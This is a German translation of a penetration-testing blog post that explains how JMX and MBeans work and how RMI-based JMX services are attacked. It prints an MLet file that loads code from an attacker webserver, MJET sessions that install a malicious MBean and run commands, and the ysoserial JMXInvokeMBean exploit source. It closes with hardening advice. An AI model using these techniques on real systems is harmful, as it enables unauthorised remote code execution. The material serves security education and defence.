Angriffe auf RMI basierende JMX Dienste
Eine Anleitung zur Kompromittierung von RMI basierenden JMX Diensten
Dies ist eine übersetzte Version. Das englische Original finden Sie hier.
TL:DR: In einem vorherigen Post haben wir verschiedene Möglichkeiten (primär Java-Deserialisierung) zur Kompromittierung von Java RMI Diensten erklärt. Während RMI wird nicht länger bei der Entwicklung neuer Anwendungen zum Einsatz kommt ist es nach wie vor zum Monitoring von Applikationen per JMX verwendet. Angriffe gegen JMX Dienste sind seit vielen Jahren bekannt, dennoch finden wir regelmäßig unsichere/kompromittierbare JMX Dineste in Penetrationstests.
Dieses Post gibt zunächst eine allgemeine Einführung zu JMX und beschreibt dann die bekannten Angriffstechniken. Zudem schauen wir uns an wie JMX Dienste per Java-Deserialisierung kompromittiert werden können.
Update (20.03.2023)
Seit der Veröffentlichung dieses Posts im Jahr 2019 wurden weitere Angriffswege zu JMX identifiziert. Die hier beschriebenen Methoden funktionieren nach wie vor, es ist jedoch auch möglich ohne Backconnect eigenen Code auf dem System auszuführen. Wir empfehlen das Lesen von Markus Wulftange’s Post “JMX Exploitation Revisited” zu diesem Thema, welches die hier fehlenden Informationen enthält.
Was ist JMX?
Das englische Wikipedia beschreibt Java Management Extensions (JMX) wie folgt:
Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks.
JMX wird oft als “Java Version” von SNMP (Simple Network Management Protocol) beschrieben. Das SNMP Protokoll wird primär zur Überwachung von Netzwerkkomponenten wie Routern oder Switches verwendet. Ähnlich wie SNMP wird JMX zum Monitoren von Java basierenden Applikationen verwendet. Der gängigste Anwendungsfall ist das Überwachen der Verfügbarkeit und Performance durch eine zentrale Monitoring-Lösung wie Nagios, Icinga oder Zabbix.
JMX und SNMP besitzen noch eine weitere Gemeinsamkeit: Viele Firmen verwenden es nur zum Monitoren von Systemen, JMX kann jedoch viel mehr. Per JMX ist es nicht nur möglich Daten auszulesen, das Protokoll erlaubt auch Methoden auf dem System selbst aufzurufen.
JMX Grundlagen
MBeans
JMX erlaubt die Verwaltung von Ressourcen in Form von “Managed Beans”. Ein Managed Bean (MBean) ist eine Java Bean-Klasse, die bestimmten Designregeln des JMX Standards entspricht. Ein solches MBean kann ein Gerät, eine Applikation oder eine andere beliebige Ressource, die per JMX verwaltet werden soll, repräsentieren. Per JMX ist es von Extern möglich auf die MBeans eines Systems zuzugreifen, Attribute abzufragen oder Methoden der Klasse aufzurufen.
Der JMX Standard unterscheidet zwischen unterschiedlichen MBean-Typen, für unsere Zwecke genügen jedoch “normale” MBeans. Damit eine Java Klasse ein valides MBean ist muss diese:
- Ein Interface implementieren
- Einen Standard-Constructor (ohne Argumente) bereitstellen
- Bestimmte Namenskonventionen einhalten, beispielsweise die Implementierung von getter/setter Methoden um den Zugriff auf Attribute zu ermöglichen
Wenn wir unser eigenes MBean erstellen möchten müssen wir zunächst ein Interface definieren. Hier ein einfaches Beispiel für eine “Hello world” MBean:
package de.mogwailabs.MBeans;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
Der nächste Schritt ist die Implementierung dieses Interfaces. Der Name der Klasse muss dabei gleich wie das Interface (ohne MBean) lauten.
package de.mogwailabs.MBeans;
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
MBean Server
Der MBean Server ist der für das Management der MBeans eines Systems zuständige Dienst. Entwickler können ihre MBean hier registrieren, wobei sie einer vorgegebenen Namenskonvention folgen müssen. Der Server ist zudem auch dafür verantwortlich Nachrichten von MBeans an externe Komponenten weiterzureichen.
Standardmäßig hat jeder Java-Dienst einen MBean Server, der über die Methode ManagementFactory.getPlatformMBeanServer();
angesprochen werden kann. Der folgende Beispielcode verbindet sich mit dem MBean Server des aktuellen Prozesses und gibt sämtliche, dort registrierten MBeans aus:
package de.mogwailabs.MBeanClient;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanClient {
public static void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
System.out.println( server.getMBeanCount() );
// Print out each registered MBean
for ( Object object : server.queryMBeans(new ObjectName("*:*"), null) ) {
System.out.println( ((ObjectInstance)object).getObjectName() );
}
}
}
Wenn wir unsere MBean Instanz über den MBean Server ansprechbar machen möchten, müssen wir es mit einer ObjectName
Klasse registrieren. Jedes MBean benötigt einen dabei einen eindeutigen Namen, welcher einer bestimmten Namensconvention folgt. Der Name besteht dabei aus einer Domain (üblicherweise das verwendete Java Package) und dem eigentlichen Objektnamen.
Falls nur eine Instanz eines Typs innerhalb einer Domäne vorhanden sein sollte, werden üblicherweise keine anderen Eigenschaften außer type
angegeben.
Beispiele:
com.sun.someapp:type=Whatsit,name=5
com.sun.appserv.Domain1:type=Whatever
Hier ein Codebeispiel wie man eine MBean beim lokalen MBean Server registriert.
package de.mogwailabs.MBeanExample;
import de.mogwailabs.MBeans.*;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanExample {
public static void main(String[] args) throws Exception {
// Create a new MBean instance from Hello (HelloMBean interface)
Hello mbean = new Hello();
// Create an object name,
ObjectName mbeanName = new ObjectName("de.mogwailabs.MBeans:type=HelloMBean");
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
server.registerMBean(mbean, mbeanName);
// Keep the application running until user enters something
System.out.println("Press any key to exit");
System.in.read();
}
}
JConsole
Der einfachste Weg um einen MBean/JMX Dienst aufzurufen ist das vom JDK mitgelieferte Tool “jconsole”. Nach dem Start der GUI-Anwendung hat man die Möglichkeit, sich zu den laufenden Java Prozessen zu verbinden und die dort hinterlegten MBeans zu analysieren. Es ist auch möglich Bean-Attribute zu lesen/schreiben oder andere Methoden wie beispielsweise das von uns implementierte “sayHello” aufzurufen
JMX Connectoren
Bisher haben wir uns nur zu MBean Servern auf unserem eigenen System verbunden. Wenn wir uns zu einem MBean Server auf einem anderen System verbinden möchten müssen wir einen JMX Connector verwenden. Ein JMX Connector ist im Prinzip ein Client-/Server Stub über den der Zugriff auf den MBean-Server ermöglicht wird. Hier kommt ein klassischer RPC (Remote Procedure Call) Ansatz zum Einsatz, bei dem versucht wird den “remote” Part (z. B: das zur Kommunikation verwendete Protokoll) für den Client möglichst gering zu halten.
Java bietet standardmäßig einen auf Java RMI (Remote Method Invocation) JMX Connector. Dieser kann beim Start eines Java-Programms durch die Angabe der folgenden Argumente aktiviert werden.
-Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false
Hier ein Beispiel für unseren MBean Server (in eine JAR File exportiert):
java -Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -jar mbeanserver.jar
Wenn wir jetzt einen Portscan unseres Systems durchführen sehen wir, dass der TCP Port 2222 eine RMI Name-Registry hosted. Diese stellt ein Objekt unter dem Namen “jmxrmi” zur Verfügung. Der eigentliche RMI Dienst kann über den TCP Port 34041 erreicht werden. Der Port dieses RMI Diensts wird beim Start zufällig gewählt. Wenn Leser mehr über RMI wissen möchten empfehle ich unser Blogpost zu diesem Thema.
nmap 192.168.71.128 -p 2222,34041 -sVC
Starting Nmap 7.60 ( https://nmap.org ) at 2019-04-08 20:02 CEST
Nmap scan report for rocksteady (192.168.71.128)
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
2222/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| jmxrmi
| implements javax.management.remote.rmi.RMIServer,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.1.1:34041
| extends
|_ java.rmi.server.RemoteObject
34041/tcp open rmiregistry Java RMI
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds
Wir können wieder per JConsole zum RMI Dienst verbinden. Anstelle der Auswahl eines bestehenden Java-prozesses verbinden wir uns einfach per IP:Port (in unserem Beispiel: 192.168.71.128:2222)
JMX Adaptoren
Ein JMX Adaptor ist ähnlich wie ein JMX Connector, er bietet jedoch was der Client “erwartet”, also beispielsweise HTML/JSON über eine HTTP Verbindung. Die Verwendung von JMX Adaptoren ist beispielsweise notwendig wenn der Client nicht in Java geschrieben wurde und daher auch kein Java RMI beherrscht. Der JMX Adaptor bietet hier eine Brücke in die Java-Welt. Das Verwenden eines solchen Adaptors hat den Nachteil, dass nicht alle von einem MBean bereitgestellten Methoden verwendet werden können. Üblicherweise scheitert der Aufruf von Methoden, die komplexe Java-Klassen als Argumente erwarten. Ein sehr bekannter JMX Adaptor ist zum Beispiel Jolokia. Das Web-Interface von Tomcat bietet ebenfalls einen HTTP basierenden JMX Adaptor.
Angriffe auf JMX Dienste
Nachdem wir jetzt einen per RMI erreichbaren JMX Dienst haben können wir diesen nun auf unterschiedlichen Wegen angreifen. Über die Jahre wurden mehrere Angriffsformen für JMX-RMI Dienste identifiziert, wir gehen die meisten einzeln durch.
Verwenden existierender MBeans
In den vorherigen Beispielen wurde gezeigt das Applikationen zusätzliche MBeans registrieren können, welche dann von Extern abrufbar sind. Da JMX zur Verwaltung von Applikationen verwendet wird sind die von einer Anwendung hinterlegten MBeans oft sehr mächtig. Der folgende Screenshot zeigt die Methoden des “UserDatabase” MBeans das vom Tomcat Webserver registriert wird. Das MBean erlaubt das Auslesen der vorhandenen Tomcat Benutzer/Gruppen und kann sogar zum Anlegen neuer Benutzerkonten verwendet werden. Angreifer können dieses MBean zum Auslesen der konfigurierten Passwörter verwenden oder einen eigenen Administrator für den webbasierten Tomcat-Manager zu konfigurieren.
Tomcat erlaubt per JMX auch beispielsweise die Ausgabe der aktuellen SessionIDs, was die Kompromittierung einer aktiven Benutzersession erlaubt.
Dabei handelt es sich jedoch um applikationsspezifische Angriffe, welche stark von den per MBean Server zur Verfügung gestellten MBeans abhängen. Aus Angreifersicht ist ein “generische” Angriffstechnik wünschenswert.
Remote Code Execution über MLets
Diese Angriffstechnik wurde zum ersten Mal 2013 von Braden Thomas im Blogpost “Exploiting JMX RMI” beschrieben, sie funktioniert aber nach wie vor in den meisten JMX-Umgebungen. Braden nahm sich die Zeit um die von Oracle zur Verfügung gestellte Dokumentation zu lesen:
Furthermore, possible harm is not limited to the operations you define in your MBeans. A remote client could create a javax.management.loading.MLet MBean and use it to create new MBeans from arbitrary URLs, at least if there is no security manager. In other words, a rogue remote client could make your Java application execute arbitrary code.
Consequently, while disabling security might be acceptable for development, it is strongly recommended that you do not disable security for production systems.
Der Begriff “MLet” ist eine Abkürzung für Management Applet, welche die “Registrierung einer oder mehrerer MBeans in einem MBean Server von einer externen URL erlauben”. Vereinfacht gesagt handelt es sich bei einem MLET um ein HTML-ähnliches Dokument, das per Webserver bereitgestellt wird. Ein MLET sieht beispielsweise wie folgt aus:
<html><mlet code="de.mogwailabs.MaliciousMLet" archive="mogwailabsmlet.jar" name="Mogwailabs:name=payload" codebase="http://attackerwebserver"></mlet></html>
Angreifer können eine solche MLET-Datei auf einem Webserver bereitstellen und den JMX Dienst anweisen die MBeans von diesem System zu laden. Der Angriff beinhaltet die folgenden Schritte:
- Start eines Webservers zum Hosten des MLETs sowie einer JAR Datei mit den bösartigen MBeans.
- Erstellen einer neuen Instanz des MBeans “javax.management.loading.MLet” auf dem Zielsystem (per JMX)
- Aufruf der Methode “getMbeansFromURL” auf der gerade erzeugen MBean Instanz, wobei die URL der MLET-Datei auf dem Webserver übergeben wird. Der JMX Dienst verbindet sich darauf zum Webserver und parst den Inhalt der MLET Datei.
- Der JMX Dienst lädt die im MLET referenzierten JAR Dateien herunter und erzeugt daraus neue MBean Instanzen, die per JMX aufgerufen werden können.
- Die Angreifer rufen die vom neu geladenen MBean bereitgestellten Methoden auf.
Das hört sich zunächst recht komplex an, ex existieren jedoch diverse Tools/Exploits, die das Ausnutzen der Schwachstelle wesentlich vereinfachen. Hierzu kann man beispielsweise dieses Metasploit Modul oder auch unser Tool “MJET” verwenden.
Das folgende Beispiel zeigt die Installation eines bösartigen MBeans mit der Hilfe von MJET:
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:47:15] "GET / HTTP/1.1" 200 -
10.165.188.23 - - [26/Apr/2019 21:47:16] "GET /nztcftbg.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>
Nach der erfolgreichen Installation kann das MBean dazu verwendet werden um beliebige Befehle auszuführen. Es ist sogar möglich eigenen JavaScript Code auszuführen, wobei der vom JDK bereitgestellte JavaScript Interpreter verwendet wird.
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
[+] Done
Dieser Ansatz funktioniert sehr zuverlässig so lange die folgenden Anforderungen erfüllt sind:
- Der JMX Dienst kann sich zu einem von den Angreifern kontrollierten Webserver verbinden zu können um von dort den zusätzlichen Code zu laden
- JMX Authentifizierung ist deaktiviert
Die Aktivierung der JMX Authentifizierung schützt den JMX Dienst nicht nur mittels Zugangssdaten, es hat auch den Nebeneffekt das ein Aufruf von “getMBeansFromURL” nicht länger möglich ist. Hier der entsprechende Code der Klasse MBeanServerAccessController.
final String propName = "jmx.remote.x.mlet.allow.getMBeansFromURL";
GetPropertyAction propAction = new GetPropertyAction(propName);
String propValue = AccessController.doPrivileged(propAction);
boolean allowGetMBeansFromURL = "true".equalsIgnoreCase(propValue);
if (!allowGetMBeansFromURL) {
throw new SecurityException("Access denied! MLet method " +
"getMBeansFromURL cannot be invoked unless a " +
"security manager is installed or the system property " +
"-Djmx.remote.x.mlet.allow.getMBeansFromURL=true " +
"is specified.");
}
...
Dieser Ansatz funktioniert daher nur nicht bei JMX Diensten mit aktiver Authentifizierung, selbst wenn die Angreifer über gültige Zugangsdaten verfügen sollten. In diesem Falle müsste der Administrator eine sehr schwache Security Manager Policy konfigurieren oder das Laden von MLETs von einem Webserver explizit erlauben was jedoch sehr unwahrscheinlich ist.
Viele Administratoren und Entwickler sehen JMX jedoch primär als Monitoring-Tool und wissen nichts von der Möglichkeit ein MLET nachzuladen. Zusätzlich zeigen die meinsten Anleitungen und Beispiele zur Konfiguration von JMX zuerst ein Beispiel ohne Authentifizierung. Daher kommt es häufig vor, dass man JMX Dienste mit dieser unsicheren Konfiguration findet.
Deserialisierung
JMX-RMI basiert auf RMI welches wiederum native Java Serialisierung verwendet, was es zu einem idealen Ziel für entsprechende Angriffe macht. Wie bei sämtlichen Java basierenden Deserialisierungsangriffen ist jedoch, dass der Classloader eine entsprechende ausnutzbare Gadgetchain geladen hat. Bei den hier gezeigten Beispielen gehen wir davon aus, dass das Ziel die Apache CommonsCollections3.1 in seinem Classpath hat.
CVE-2016-3427
CVE-2016-3427 wurde von Mark Thomas gemeldet. Dieser merkte das die zur Anmeldung an einem JMX Dienst verwendete Methode “JMXConnectorFactory.connect” anstelle zweier Strings (Benutzername/Passwort) eine Map mit beliebigen Java-Objekten zur Anmeldung verwendet. Dies macht es möglich eine Map mit einem entsprechend manipulierten serialisirten Objekt an das Zielsystem zu senden, welches noch vor der eigentlichen Anmeldung deserialisiert wird.
Diese Schwachstelle hat den Vorteil das sie auch mitunter bei Passwort-geschützten JMX Instanzen funktioniert. Im Gegensatz zum Angriff auf MLET Basis ist auch keine ausgehende Verbindung zu einem von den Angreifern kontrolliertem System notwendig. Das Zielsystem muss nur eine entsprechende Gadgetchain bieten.
In Pierre Ernsts Hackfest 2016 repo können Leser ein DoS-PoC für CVE-2016-3427 finden. Die Schwachstelle wurde in Java 8, Update 77 behoben.
Angriffe auf das RMI Protokoll
Da JMX ja auf RMI basiert können Angreifer versuchen, entsprechende Deserialisierungsschwachstellen auf dieser Protokollebene auszunutzen. Dies kann beispielsweise mit den folgenden Exploits von Moritz Bechler durchgeführt werden. Die beiden Exploits sind Teil des Ysoserial Toolkits und wurden bereits in einem vorherigen Blogpost beschrieben.
RMIRegistryExploit
Dieses Exploit sendet ein vom Angreifer kontrolliertes serialisiertes Objekt an die RMI Registry. Dies erfolgt über den Aufruf der “bind” Methode mit der neue Objekte an der Registry registriert werden können.JRMPClient
Das JRMP Client Exploit verwendet den remote DGC (Distributed Garbage Collection), der von jedem RMI Listener bereitgestellt wird. Dieses Exploit kann bei jedem RMI Endpunkt, nicht nur die RMI Naming Registry, verwendet werden.
Wenn das Zielsystem eine entsprechende Gadgetchain besitzt funktionieren beide Exploits sehr zuverlässig. Das RMIRegistryExploit besitzt zudem den Vorteil das eine vom Server zurückgelieferte Exception ausgibt. Der Inhalt dieser Exception erlaubt die Identifikation von vorhandenen Gadgetchains im Classpath der Applikation.
Mit der Einführung von JEP-290 stattete Oracle RMI mit einem auf einer Allow-List basierten Look-Ahead Deserialisierungsfilter aus, was die Ausnutzung dieser Schwachstellen unterbindet. Diese Änderung wurde in den folgenden JDK Versionen eingeführt.
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
Deserialisierung auf JMX/MBean Ebene
Während es nicht länger möglich ist, Deserialisierungsangriffe auf das unterliegende RMI Protokoll durchzuführen können Angreifer es nach wie vor innerhalb der Anwendung versuchen. Das ist ähnlich zu dem in unserem letzten Blogpost beschriebenen Angriff, praktisch jedoch wesentlich leichter umzusetzen.
Die grundlegende Idee ist es eine von einem MBean bereitgestellte Methode aufzurufen, die einen String (ohne eine andere Klasse) als Argument akzeptiert. Wie bereits in den vorherigen Beispielen gezeigt stellt jeder Java Prozess bereits standardmäßig eine Reihe von MBeans zur Verfügung. Ein guter Kandidat ist beispielsweise die “getLoggerLevel” Methode, welche einen String als Argument benötigt.
Anstelle eines Strings müssen Angreifer hier nur ein manipuliertes Objekt als Argument übergeben. JMX macht einem das relativ einfach, da die Methode MBeanServerConnection.invoke, die zum Aufruf einer Remote-MBean Methode verwendet wird zwei Argumente benötigt: Eines mit den eigentlichen Argumenten des Methodenaufrufs sowie eines mit den Signaturen dieser Argumente.
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
// Create operation's parameter and signature arrays
Object opParams[] = {
"MOGWAI_LABS",
};
String opSig[] = {
String.class.getName()
};
// Invoke operation
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", opParams, opSig);
Hier ein vollständiges Beispiel, welches inzwischen auch Teil von ysoserial ist
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
Dank Sebastian Kindler ist diese Angriffstechnik nun auch Teil der letzten MJET Version. Dieser Angriff hat den Vorteil das er auch mit aktiver Authentifizierung funktioniert (wenn gültige Zugangsdaten bekannt sind). Das Zielsystem muss immer noch eine ausnutzbare Gadgetchain in seinem Classpath besitzen, im Gegensatz zum MLET-basierenden Angriff ist aber keine ausgehende Verbindung zu einem von den Angreifern kontrollierten System notwendig.
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole admin --jmxpassword adminpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: admin / adminpassword
[+] Connected: rmi://10.165.188.1 admin 22
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an argument type mismatch exception - this is expected
[+] Done
Dieser Angriff funktioniert sogar wenn der Account nur eingeschränkte Leseberechtigungen besitzt, da die Deserialisierung noch vor der eigentlichen Berechtigungsprüfung durchgeführt wird.
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected
[+] Done
Zusammenfassung
Wie gezeigt ist es immens wichtig einen JMX Dienst per Authentifizierung abzusichern, andernfalls wird er zur leichten Beute von Angreifern. Der JMX Standard bietet bereits die notwendigen Funktionen, inklusive der Möglichkeit eine RMI Verbindung per TLS zu verschlüsseln. Eine gute Beschreibung wie sich JMX Dienste absichern lassen findet sich hier.
Neben der Absicherung des JMX Dienstes muss man sicherstellen, dass die Java-Umgebung auf einem aktuellen Stand ist. Andernfalls können Angreifer versuchen die unterliegende RMI Implementierung per Java Deserialisierung anzugreifen. Diese Angriffe sind auch bei JMX Diensten mit aktiver Authentifizierung möglich.
Unter Umständen könnten Angreifer über andere Wege in der Lage sein, valide Zugangsdaten für einen JMX Dienst zu erhalten. In diesem Fall können Sie ebenfalls versuchen, den Dienst per Java-Deserialisierung anzugreifen, selbst wenn der kompromittierte Account nur lesend auf das System zugreifen kann. Das kann unter Umständen durch die Implementierung einer globalen JEP290 Filterpolicy unterbunden werden.
Danke an Mike Kenneally auf Unsplash für das Titelbild.